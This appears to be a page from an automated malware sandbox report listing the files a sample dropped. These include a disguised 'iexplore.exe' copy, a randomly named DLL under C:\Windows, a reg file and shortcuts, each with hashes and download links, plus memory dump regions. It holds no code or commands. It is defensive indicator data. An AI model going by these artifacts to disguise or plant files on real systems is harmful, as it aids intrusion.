C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe

Filesize
840KB

MD5
41dcbc9c3c76130dbfed826d1c1d3a6f

SHA1
f054c8d533db3ccef2b9e4e22df53e10c6b16e7e

SHA256
8a688bdd73c8b6f9545f7b4572335b9d992d416b24086d631b2f7b7b1bb4a783

SHA512
fb94a97e15b9085a7cd0f42bc28e0b52f594907e217066401182f0d27a9fe3c73d3a6d445421195d04eeef8bed565de047ce99a4a3d5bf587c3e5860efc562ab

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese GB.ini

Filesize
1KB

MD5
43713ddfb796b6cfd8d2a29f60fbaa3c

SHA1
30b6441ba2e85bf3df2ca18c5947c4aa21f676e8

SHA256
0b41abe4f21798e40d495278b19a0246769ccb3e7d0bc06012545239953127d9

SHA512
484cecf232babc8e0bd68d85874b5c13110e7f3242bcef7d67aa91ee54abc5d10436ed48bb634bf69bf632b3a845d5d137e2448690ef1ab5f8ce492e6db976ce

Download Submit
C:\Program Files\Common Files\iexplore.exe

Filesize
822KB

MD5
aa094de5b8ef17848a5926c13eb67e26

SHA1
72df0e64ad124ef9bdfa0ed66b3afe62d4364192

SHA256
9c530f1306aa1312fda938169e208a033341bc49ff956695c7616ad6c5d4bc94

SHA512
c2fa9b5141efbba11345e3e4565ddf63b3c9446bb711267a69abeb52117b0eb35ce6c563d97cf0ced03c3c3c9ea8dbd94c2a31d579d4888f03654a75bd5e3b7b

Download Submit
C:\Program Files\Internet Explorer\MUI\iexplore.exe

Filesize
822KB

MD5
aa094de5b8ef17848a5926c13eb67e26

SHA1
72df0e64ad124ef9bdfa0ed66b3afe62d4364192

SHA256
9c530f1306aa1312fda938169e208a033341bc49ff956695c7616ad6c5d4bc94

SHA512
c2fa9b5141efbba11345e3e4565ddf63b3c9446bb711267a69abeb52117b0eb35ce6c563d97cf0ced03c3c3c9ea8dbd94c2a31d579d4888f03654a75bd5e3b7b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
520071a63bb5e2038486cd0ce14055b1

SHA1
752cfb61bbe3ae1e2c2609c53aeee510661a59ed

SHA256
f8a989e9cf1fe0f0000c795537122a3c727e3b570b66582bfb62d9bbae4b20f8

SHA512
6f0131c9e0943c6a13d52a7525e1c592c95db868bf2dd21a8a37254150a239748985cc31518d0c4844bebfc5613feee6857b5debfbbbd6ed4539cd5e494ebbb2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
520071a63bb5e2038486cd0ce14055b1

SHA1
752cfb61bbe3ae1e2c2609c53aeee510661a59ed

SHA256
f8a989e9cf1fe0f0000c795537122a3c727e3b570b66582bfb62d9bbae4b20f8

SHA512
6f0131c9e0943c6a13d52a7525e1c592c95db868bf2dd21a8a37254150a239748985cc31518d0c4844bebfc5613feee6857b5debfbbbd6ed4539cd5e494ebbb2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
e9668d5aa700407a00e57c531a290b59

SHA1
acd4b9df0a38ac208454298952f26c88a0399371

SHA256
a3aae2a28076a4896d26f2212e2bcdd3b8c44023461b8f5519d937e3832b091b

SHA512
3912f5781555ad7fa0309409795b6e8cb855774fa38fc5d04c2a5f08dcf5b15acce8446b8d6b57ebd179642fec7b9929df25ab2bb30e51acb239776c34a446cc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
b87f51db68737e107529bbdf7b1456c7

SHA1
9731592e1534d01652863762cfaaf6f98957f828

SHA256
5f08ab0656c1e674e4c1ba88d557238982f735d99f415fbf8f88e13c9b300e0e

SHA512
0598686faf93c209e5d466104d2c7cefa725e9c83b5b6d08cd414bb4aefaad8f5c8297a7e01f48ba8586c542bd7020110a04fc43422a39d1cd62dccea3c20f8e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Æô¶¯ Internet Explorer ä¯ÀÀÆ÷.msm4

Filesize
231B

MD5
990de430a5325512998ce67a53bd1891

SHA1
0f377d36525f4816c95bf1c09001d745b15a79d1

SHA256
4690195576f4da71651363441b8ac897e1208987a21316fb77776823b6266b16

SHA512
879fe9e8aceccd1a0532bc5a1a36c6e68887bb2a963c47801ee1f87373e5d6e38de46b4f9604520c8ff0efd56a5eb968a534a99cc0f5c8f87bf2b68d816a701c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Internet Explorer.msm4

Filesize
231B

MD5
990de430a5325512998ce67a53bd1891

SHA1
0f377d36525f4816c95bf1c09001d745b15a79d1

SHA256
4690195576f4da71651363441b8ac897e1208987a21316fb77776823b6266b16

SHA512
879fe9e8aceccd1a0532bc5a1a36c6e68887bb2a963c47801ee1f87373e5d6e38de46b4f9604520c8ff0efd56a5eb968a534a99cc0f5c8f87bf2b68d816a701c

Download Submit
C:\Users\Admin\Desktop\Internet Explorer.msm4

Filesize
231B

MD5
990de430a5325512998ce67a53bd1891

SHA1
0f377d36525f4816c95bf1c09001d745b15a79d1

SHA256
4690195576f4da71651363441b8ac897e1208987a21316fb77776823b6266b16

SHA512
879fe9e8aceccd1a0532bc5a1a36c6e68887bb2a963c47801ee1f87373e5d6e38de46b4f9604520c8ff0efd56a5eb968a534a99cc0f5c8f87bf2b68d816a701c

Download Submit
C:\WINDOWS\Downloaded Program Files\csdnsd.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Windows\reg.reg

Filesize
185B

MD5
e7ec5d1748cbe59ab5ee02805c9530af

SHA1
cd5f89ea21cf72e5ce94d36aa00618bfd9c39a5c

SHA256
36845b1f85dbc963f36bded837503db0b551194d62fd00db431e1c1e4dd783c3

SHA512
f9af7930ec0021c72102eb4645dece32fb6bf0f7a054e2634ff26fa334ac79bf29ddcd69dbb5960897880da52693ce0fd9c69b4ccacdbb62dc9b5b91b6cdbe9c

Download Submit
C:\Windows\xldvlfxmkjarkeohuhoa\dllbkjdvxujru.dll

Filesize
4.6MB

MD5
851af3b116c40f191e0f40836ce5fd63

SHA1
2ab4fe401ef16f4ec1ed115e48459072f35450ed

SHA256
3d842f6f986d25e2bba9ef6bed411f9d670eb285c6bb75f1e411497ccadabaf8

SHA512
e15645250e25367a949222c446da9aa5efe20240547886db3a2dae895d0e08f38c04b7eb94e01087d6ee673a0ba6964b602f4fc497bd10d87ba5e2fb7e43abc3

Download Submit
C:\Windows\xldvlfxmkjarkeohuhoa\dllbkjdvxujru.dll

Filesize
4.6MB

MD5
851af3b116c40f191e0f40836ce5fd63

SHA1
2ab4fe401ef16f4ec1ed115e48459072f35450ed

SHA256
3d842f6f986d25e2bba9ef6bed411f9d670eb285c6bb75f1e411497ccadabaf8

SHA512
e15645250e25367a949222c446da9aa5efe20240547886db3a2dae895d0e08f38c04b7eb94e01087d6ee673a0ba6964b602f4fc497bd10d87ba5e2fb7e43abc3

Download Submit
memory/2876-174-0x0000000002000000-0x0000000002060000-memory.dmp

Filesize
384KB

Download
memory/2876-171-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/3692-180-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/3692-194-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/4880-157-0x0000000010000000-0x00000000100C8000-memory.dmp

Filesize
800KB

Download
memory/4880-158-0x0000000010000000-0x000000001001E000-memory.dmp

Filesize
120KB

Download
memory/4928-151-0x0000000002110000-0x0000000002170000-memory.dmp

Filesize
384KB

Download
memory/4928-144-0x0000000002110000-0x0000000002170000-memory.dmp

Filesize
384KB

Download
memory/4928-142-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/4928-150-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/4928-152-0x00000000031F0000-0x00000000031F7000-memory.dmp

Filesize
28KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads